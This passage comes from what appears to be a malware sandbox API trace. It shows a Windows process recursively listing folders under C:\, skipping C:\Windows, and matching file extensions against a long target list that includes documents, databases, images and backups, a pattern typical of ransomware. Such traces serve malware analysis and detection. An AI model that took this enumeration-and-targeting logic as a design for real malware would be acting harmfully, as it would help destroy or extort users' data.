lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".der") returned 4 [0037.026] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dib") returned 4 [0037.026] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dic") returned 4 [0037.026] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dif") returned 4 [0037.026] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".divx") returned 5 [0037.026] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0037.026] lstrlenW (lpString=".djvu") returned 5 [0037.026] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0037.026] lstrlenW (lpString=".dng") returned 4 [0037.026] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".doc") returned 4 [0037.026] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".docm") returned 5 [0037.026] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0037.026] lstrlenW (lpString=".docx") returned 5 [0037.026] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0037.026] lstrlenW (lpString=".dot") returned 4 [0037.026] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dotm") returned 5 [0037.027] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0037.027] lstrlenW (lpString=".dotx") returned 5 [0037.027] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0037.027] lstrlenW (lpString=".dpx") returned 4 [0037.027] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dqy") returned 4 [0037.027] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dsn") returned 4 [0037.027] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dt") returned 3 [0037.027] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0037.027] lstrlenW (lpString=".dtd") returned 4 [0037.027] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dwg") returned 4 [0037.027] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dwt") returned 4 [0037.027] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".dx") returned 3 [0037.027] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0037.027] lstrlenW (lpString=".dxf") returned 4 [0037.027] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".edml") returned 5 [0037.027] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0037.027] lstrlenW (lpString=".efd") returned 4 [0037.027] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".elf") returned 4 [0037.027] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".emf") returned 4 [0037.027] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".emz") returned 4 [0037.027] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".epf") returned 4 [0037.027] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".eps") returned 4 [0037.027] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0037.027] lstrlenW (lpString=".epsf") returned 5 [0037.028] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0037.028] lstrlenW (lpString=".epsp") returned 5 [0037.028] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0037.028] lstrlenW (lpString=".erf") returned 4 [0037.028] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".exr") returned 4 [0037.028] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".f4v") returned 4 [0037.028] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".fido") returned 5 [0037.028] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0037.028] lstrlenW (lpString=".flm") returned 4 [0037.028] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".flv") returned 4 [0037.028] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".frm") returned 4 [0037.028] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".fxg") returned 4 [0037.028] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".geo") returned 4 [0037.028] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".gif") returned 4 [0037.028] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".grs") returned 4 [0037.028] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".gz") returned 3 [0037.028] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0037.028] lstrlenW (lpString=".h") returned 2 [0037.028] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0037.028] lstrlenW (lpString=".hdr") returned 4 [0037.028] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".hpp") returned 4 [0037.028] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".hta") returned 4 [0037.028] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0037.028] lstrlenW (lpString=".htc") returned 4 [0037.029] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".htm") returned 4 [0037.029] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".html") returned 5 [0037.029] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0037.029] lstrlenW (lpString=".icb") returned 4 [0037.029] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".ics") returned 4 [0037.029] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".iff") returned 4 [0037.029] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".inc") returned 4 [0037.029] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0037.029] lstrlenW (lpString=".indd") returned 5 [0037.029] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0037.029] lstrlenW (lpString=".ini") returned 4 [0037.029] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0037.029] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0037.029] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.029] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.029] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0037.029] FindClose (in: hFindFile=0x7cb850 | out: hFindFile=0x7cb850) returned 1 [0037.029] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e30080 | out: hHeap=0x790000) returned 1 [0037.029] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x473fd00 | out: lpFindFileData=0x473fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0037.029] lstrlenW (lpString="C:\\Boot") returned 7 [0037.029] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0037.029] lstrlenW (lpString="Boot") returned 4 [0037.029] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0037.029] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e30080 [0037.030] lstrlenW (lpString="C:\\Boot") returned 7 [0037.030] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb850 [0037.030] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.030] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0037.030] lstrlenW (lpString="BCD") returned 3 [0037.030] lstrlenW (lpString=".1cd") returned 4 [0037.030] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0037.030] lstrlenW (lpString=".3ds") returned 4 [0037.030] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0037.030] lstrlenW (lpString=".3fr") returned 4 [0037.030] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0037.030] lstrlenW (lpString=".3g2") returned 4 [0037.030] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0037.030] lstrlenW (lpString=".3gp") returned 4 [0037.030] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0037.030] lstrlenW (lpString=".7z") returned 3 [0037.030] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0037.030] lstrlenW (lpString=".accda") returned 6 [0037.030] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".accdb") returned 6 [0037.031] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".accdc") returned 6 [0037.031] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".accde") returned 6 [0037.031] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".accdt") returned 6 [0037.031] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".accdw") returned 6 [0037.031] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".adb") returned 4 [0037.031] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".adp") returned 4 [0037.031] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai") returned 3 [0037.031] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0037.031] lstrlenW (lpString=".ai3") returned 4 [0037.031] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai4") returned 4 [0037.031] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai5") returned 4 [0037.031] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai6") returned 4 [0037.031] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai7") returned 4 [0037.031] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".ai8") returned 4 [0037.031] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".anim") returned 5 [0037.031] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".arw") returned 4 [0037.031] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0037.031] lstrlenW (lpString=".as") returned 3 [0037.031] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0037.031] lstrlenW (lpString=".asa") returned 4 [0037.031] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asc") returned 4 [0037.032] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".ascx") returned 5 [0037.032] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asm") returned 4 [0037.032] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asmx") returned 5 [0037.032] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asp") returned 4 [0037.032] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".aspx") returned 5 [0037.032] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asr") returned 4 [0037.032] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".asx") returned 4 [0037.032] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".avi") returned 4 [0037.032] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".avs") returned 4 [0037.032] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".backup") returned 7 [0037.032] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".bak") returned 4 [0037.032] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".bay") returned 4 [0037.032] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".bd") returned 3 [0037.032] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0037.032] lstrlenW (lpString=".bin") returned 4 [0037.032] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".bmp") returned 4 [0037.032] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0037.032] lstrlenW (lpString=".bz2") returned 4 [0037.032] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".c") returned 2 [0037.033] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0037.033] lstrlenW (lpString=".cdr") returned 4 [0037.033] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cer") returned 4 [0037.033] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cf") returned 3 [0037.033] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0037.033] lstrlenW (lpString=".cfc") returned 4 [0037.033] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cfm") returned 4 [0037.033] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cfml") returned 5 [0037.033] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cfu") returned 4 [0037.033] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".chm") returned 4 [0037.033] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cin") returned 4 [0037.033] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".class") returned 6 [0037.033] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".clx") returned 4 [0037.033] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".config") returned 7 [0037.033] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cpp") returned 4 [0037.033] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cr2") returned 4 [0037.033] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".crt") returned 4 [0037.033] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".crw") returned 4 [0037.033] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0037.033] lstrlenW (lpString=".cs") returned 3 [0037.033] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0037.034] lstrlenW (lpString=".css") returned 4 [0037.034] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".csv") returned 4 [0037.034] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".cub") returned 4 [0037.034] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dae") returned 4 [0037.034] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dat") returned 4 [0037.034] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".db") returned 3 [0037.034] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0037.034] lstrlenW (lpString=".dbf") returned 4 [0037.034] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dbx") returned 4 [0037.034] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dc3") returned 4 [0037.034] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dcm") returned 4 [0037.034] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dcr") returned 4 [0037.034] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".der") returned 4 [0037.034] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dib") returned 4 [0037.034] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dic") returned 4 [0037.034] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dif") returned 4 [0037.034] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".divx") returned 5 [0037.034] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".djvu") returned 5 [0037.034] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0037.034] lstrlenW (lpString=".dng") returned 4 [0037.034] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".doc") returned 4 [0037.035] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".docm") returned 5 [0037.035] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".docx") returned 5 [0037.035] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dot") returned 4 [0037.035] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dotm") returned 5 [0037.035] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dotx") returned 5 [0037.035] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dpx") returned 4 [0037.035] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dqy") returned 4 [0037.035] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dsn") returned 4 [0037.035] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dt") returned 3 [0037.035] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0037.035] lstrlenW (lpString=".dtd") returned 4 [0037.035] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dwg") returned 4 [0037.035] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dwt") returned 4 [0037.035] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".dx") returned 3 [0037.035] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0037.035] lstrlenW (lpString=".dxf") returned 4 [0037.035] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".edml") returned 5 [0037.035] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".efd") returned 4 [0037.035] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0037.035] lstrlenW (lpString=".elf") returned 4 [0037.036] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".emf") returned 4 [0037.036] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".emz") returned 4 [0037.036] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".epf") returned 4 [0037.036] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".eps") returned 4 [0037.036] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".epsf") returned 5 [0037.036] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".epsp") returned 5 [0037.036] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".erf") returned 4 [0037.036] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".exr") returned 4 [0037.036] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".f4v") returned 4 [0037.036] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".fido") returned 5 [0037.036] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".flm") returned 4 [0037.036] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".flv") returned 4 [0037.036] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".frm") returned 4 [0037.036] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0037.036] lstrlenW (lpString=".fxg") returned 4 [0037.036] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0037.036] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.037] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.037] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.037] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.037] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.037] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0037.037] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.038] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.038] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 